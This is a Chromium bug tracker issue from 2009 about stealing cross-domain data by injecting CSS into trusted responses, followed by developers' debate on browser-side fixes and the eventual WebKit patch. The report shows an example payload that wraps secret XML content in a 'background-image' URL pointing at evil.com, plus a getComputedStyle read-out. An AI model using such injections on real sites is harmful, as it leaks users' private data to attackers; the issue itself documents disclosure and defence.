New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 9877 link

Starred by 4 users

Issue metadata

Status: Verified
Owner:
Last visit 19 days ago
Closed: Jan 2010
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 2
Type: Bug-Security
M-4

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Security: cross domain thefts via CSS string property injection

Reported by scarybea...@gmail.com, Apr 8 2009

Issue description

This bug is kind of annoying. The hope is that something can be done at the
browser level. We really don't want to have to make sweeping changes to
lots of our applications, and generally burden web apps with more web
browser issues.

This affects Chrome, Safari, IE, Opera and FF. But let's keep this bug
Chrome-private whilst we debate what can be done (and protect our customers
first :)

The attack involves cross-domain CSS stylesheet loading. Because the CSS
parser is very lax, it will skip over any amount of preceding and following
junk, in its quest to find a valid selector. Here is an example of a valid
selector:

body { background-image: url('http://www.evil.com/blah'); }

And here is an example of a valid selector embedded in an XML document
(this is a paraphrase of a real example low-severity attack):

<photo_comment from="evil"> blah { blah:0 } body { background-image:
url('http://www.evil.com/</photo_comment><photo_comment from="trusted"
url="url_with_key_to_hidden_photo">some secret
comment</photo_comment><photo_comment from="evil"> ');}</photo_comment>

As you can see, if the attacker can inject a couple of strings into a
trusted response, there is a useful attack here. The data is stolen cross
domain with e.g. window.getComputedStyle(body_element,
null).getPropertyValue('background-image');
(Note that the seemingly redundant blah { blah:0 } selector is to resync
the CSS parser to make sure the evil descriptor parses properly).

There are a surprising number of places in our products where an attacker
can do this. It can apply to HTML, XML, JSON, XHTML, etc.

The main common construct that prevents exploitation is newlines.
Obviously, newlines cannot be considered a defense! The exploitable places
in Google include some JSON and XML data APIs that return responses on a
single line. Some of our XHTML / HTML just happens to be emitted this way too.
Regarding JSON and XML, note that it is not currently a security
requirement to escape ' and " (XML values) or ' (JSON values within double
quoted strings). Nor should we make it a requirement.


Regarding how to fix the browser, here are some starting ideas (from an
ise-team brainstorm).

1) When loading cross-domain CSS, engage a stricter parsing mode that stops
on first syntactic (but not sematic of course) errors.

2) Same as 1), but also only engage when the MIME type is not CSS.

3) Some variant of 1) or 2) but only engage when X-Content-Type-Options:
nosniff is seen (won't help most of the internet).

4) When loading cross-domain CSS, do not send cookies (probably breaks the
internet :-/ )

Please, feel free to cc: additional people who may be able to help. But try
and keep within Google for now.

 
Labels: -Pri-0 -Area-Misc Pri-2 Area-WebKit
We can probably fix this for sites that use X-Content-Type-Options: nosniff by requiring the correct MIME type 
when loading a style sheet.  That will fix 99% of the problem (at least for nosniff sites).

Comment 2 by lcam...@gmail.com, Apr 8 2009

Option 1) is probably not feasible in the sense that when you set Firefox error
console to log all messages, and browse the Web even for a short while, or even just
use Google services alone, you are going to accumulate an obscene number of CSS
syntax warnings. Part of the reason is precisely that CSS parsers resync after
errors, so it's easy to miss typos and move on. 

Plus, parser modes that depend on content origin would be pretty damn
counterintuitive and confusing (but then, so is the current resync behavior to begin
with).

The nosniff variant seems to be the only one that could be plausibly sold to others
in the short run, although the downside is that it may work against us in some
contexts (for example, we started outputting nosniff by default in some contexts, and
if this change would break google.com apps that currently work fine, bah).

/mz
I can't find it in the archives, but has reading of content from other websites not 
been around for ages? IIRC you used to be able to detect and read local files in MSIE 
if they even slightly resembled css using the cssText property.

Maybe we can put all the object associated with the cross domain stylesheet in the 
domain of that stylesheet, preventing JavaScript from reading/setting properties 
cross domain? You may still be able to leak information if it's present in some very 
specific form, eg: the cross domain target contains data that sets the dimensions of 
an object and you can determine the actual dimensions of the object, thus leaking 
part of the data.

IIRC Flash allows x-domain xmlhttp requests with access control through a file on the 
server. Maybe we won't save the current internet, but considering where the internet 
is going, maybe it is time to allow servers to fine-tune what can and cannot be 
loaded x-domain in some way. The server would by default get whatever behavior we 
have now, but by providing an access control list, it defaults to allowing nothing to 
be loaded from another domain. The access control list is a white list of what the 
server does allow other websites to be load x-domain and in what way. 
eg the access control list for "www.google-analytics.com" could be:
  local-url: "http://www.google-analytics.com/ga.js"
  remote-url: "http://*"
  type: "javascript"

  local-url: "https://www.google-analytics.com/ga.js"
  remote-url: "https://*"
  type: "javascript"

This would disallow everthing but loading "http://www.google-analytics.com/ga.js" 
from any http page as a javascript (or "https://..." from any https page).

The format of the access control list may need a bit more work :)
What about option 2) then? Combined with full knowledge (if not
support) for CSS3 _syntax_.

I'm suggesting that syntax errors (e.g. CSS starts with <xml>) should
abort parse. Semantic errors such as unknown property or unsupported
property value or unsupported piece of CSS3 syntax would not abort
parse.

Cheers
Chris

Hey Skylined,

Properties giving raw access to stylesheet text are restricted in FireFox, IE and
Opera. Not Chrome; I have a separate old bug open for that. I don't think this
capability adds too much to this attack.

Even with DOM access closed down, there's still the getComputedStyle() thingy. We
could restrict that but STILL there would be a leak. The background-image URL
property causes a fetch to www.evil.com/blah where the path component /blah is the
sensitive info.

There may be other easy ways a web page can determine what the cross-domain valid CSS
content was.

Cheers
Chris

Comment 6 by lcam...@gmail.com, Apr 8 2009

2) is probably also somewhat confusing and may break a bunch of sites (since
typically, there are no security consequences with serving static CSS as text/html or
text/plain)... although IIRC, WebKit is giving out warnings on bogus MIME types for
CSS already, so this much works in our favor.
Yes, you are right: if we allow the x-domain loads but try to prevent information 
leakage, we would probably get daily reports of ways to tease information out of the 
css. That's not a game I like to play.

So, we either try to detect malicious abuse with acceptable false positive/negative 
rate, or allow websites to protect themselves. I'm all for trying the first in the 
short term, but designing the later for the long run.
Status: Untriaged
@skylined: We should engage with Mozilla's effort in this direction: http://people.mozilla.org/~bsterne/content-
security-policy/.  I'm not sure if they cover this use case, but it seems in scope for their effort.

Comment 9 by jon@chromium.org, Apr 8 2009

Labels: Mstone-2.1
Status: Available
It looks like there may be no easy heuristic fix? :-/
I strongly dislike relying on X-Content-Type-Options, because that again puts burden
on application developers, which is not fair game IMHO.

Do we really think a ton of web sites do:
1) Cross-domain CSS loads.
2) Whereby the MIME type of said file is not CSS.
3) And furthermore, the CSS is malformed (as opposed to not supported) when parsed
with full CSS3 syntax?

Comment 11 by lcam...@gmail.com, Apr 8 2009

Individually, each of these is likely pretty common. A conjunction of all three might
or might not be rare. I think that Chrome team had some way to set up an experiment
with a watchpoint for certain conditions, and process aggregate data, but I might be
making stuff up.

Comment 12 by cpu@chromium.org, Apr 9 2009

We have capability to perform experiments. Also ISE could look at our cache and 
guesstimate the level of breakage likely to occur.

The nosniff thing is probably something we want to do anyway.

We can measure this kind of thing, but it's a bit hairy because the bits we need are buried deep in WebCore 
whereas UMA lives in chrome-land.

Is the only reason this doesn't work for JavaScript because the JS parser is much stricter than the CSS parser?  
What about other parsers, like the SWF parser?  There are lots of different formats you can load cross-origin and 
interact with.

Comment 14 by lcam...@gmail.com, Apr 9 2009

Javascript parser is more relaxed when it comes to syntax conventions, *but* fails
hard on first syntax problem, so it won't glance over bits of HTML, etc, desperately
looking to resume parsing later on. The risks of cross-domain script inclusion are
pretty well understood, and there are some good mitigations in place that are less
hacky than any CSS workaround would need to be. The only area where JS parser is
comparably dangerous to CSS is E4X, but thankfully, most browsers do not support it.

Flash (crossdomain.xml), Java (GIFAR), and related parsers had bugs that permitted
them to overzealously interpret content across domains addressed in them in the past.
HTML/XHTML/XML sniffing is another problem, but it's also being tightened up a bit by
all parties.
> The nosniff thing is probably something we want to do anyway.

Agreed.


> We can measure this kind of thing, but it's a bit hairy because the bits we need 
> are buried deep in WebCore whereas UMA lives in chrome-land.

We now have support for UMA reporting from the renderer.  That part of hooking up the 
experiment should be easy now.


> The only area where JS parser is comparably dangerous to CSS is E4X, but 
> thankfully, most browsers do not support it.

Firefox does, so I guess they get to worry about this one too.
I tested IE8, and their nosniff doesn't trigger strict MIME processing for style 
sheets.  I'm talking with ericlaw about whether this makes sense to add.  I think we 
should perform the following measurement experiments:

1) How often is a style sheet loaded with the wrong MIME type (maybe separate "no 
Content-Type" from "incorrect Content-Type").
2) Quantity (1) conditioned on the load being cross-origin.
3) Quantity (1) conditioned on the load having the nosniff directive.
4) Quantity (2) conditioned on the load having the nosniff directive.

That should give us some amount of useful information.
Labels: -mstone-2.1 mstone-3

Comment 18 by jon@chromium.org, Jun 5 2009

Status: Assigned
Do we have a plan for fixing this?  It seems like we have stopped working on it.
I don't think we have a plan for fixing this for Mstone-3.  Now that Chris is on the 
team, maybe we should assign this bug to him?  :)
Labels: -mstone-3 Mstone-X
We actually don't have any specific time frame for this. We also don't have any 
concrete plan on the table.
Labels: -private Restrict-View-SecurityTeam
I don't think I ever filed an upstream WebKit bug about this.
I'll try and enthuse my WebKit security contacts to fix this. If they aren't 
enthused, I'll just blog about it to stimulate debate on how to fix without breaking 
the web.

I did try hacking up this strategy into my local build:
- For different-domain CSS loads, require a valid MIME type (existing "strict" logic, 
which I reused, needs text/css, <blank>, or some weird binary type).
- Apply to <link rel="stylesheet"> and @import
- Crash hard whenever a CSS load is denied due to bad MIME type.

It seemed to work OK, i.e. lots of cross-domain loads logged by no hard crashes.
Status: Upstream
Upstream WebKit bug:
https://bugs.webkit.org/show_bug.cgi?id=29820

(Includes concrete test case against Yahoo! Mail and hacky demo WebKit patch which 
refuses to load cross-domain CSS if the MIME type is incorrect).
Status: Started
Labels: -Mstone-X Mstone-4
Targeting for M4. I have a WebKit patch in review.
Labels: ReleaseBlock-Stable
This won't make it in for Beta unless someone finishes and lands it for Chris. 

I'll tentatively target for Stable, though I haven't seen the patch so I don't know how 
crazy it would be to take it after Beta.
There was some resistance upstream.  I suspect that without Chris here to drive the
patch, this will end up in Mstone-5.
I'll get this into Mstone-4 one way or another :)
Labels: SecSeverity-Medium
Status: FixUnreleased
Committed as of WebKit r52784.
Merged above change into Beta branch with Chromium r35592.

Eventual fix -- chosen to maximize compatibility -- is:
"Block stylesheet loads if it is a cross-origin load where the MIME type is incorrect 
and the resource does not start with a valid CSS construct".

Verified with 4.0.249.64

Labels: -Restrict-View-SecurityTeam
Status: Verified
(Already public; removing view restrictions)
Labels: Type-Security
Labels: SecImpacts-Stable
Batch update.
Project Member

Comment 35 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 36 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Area-WebKit -Mstone-4 -SecSeverity-Medium -Type-Security -SecImpacts-Stable Security-Impact-Stable Cr-Content M-4 Security-Severity-Medium Type-Bug-Security
Project Member

Comment 37 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Project Member

Comment 38 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 39 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-Medium Security_Severity-Medium
Project Member

Comment 40 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 41 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 42 by sheriffbot@chromium.org, Oct 1 2016

Labels: Restrict-View-SecurityNotify
Project Member

Comment 43 by sheriffbot@chromium.org, Oct 2 2016

Labels: -Restrict-View-SecurityNotify
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment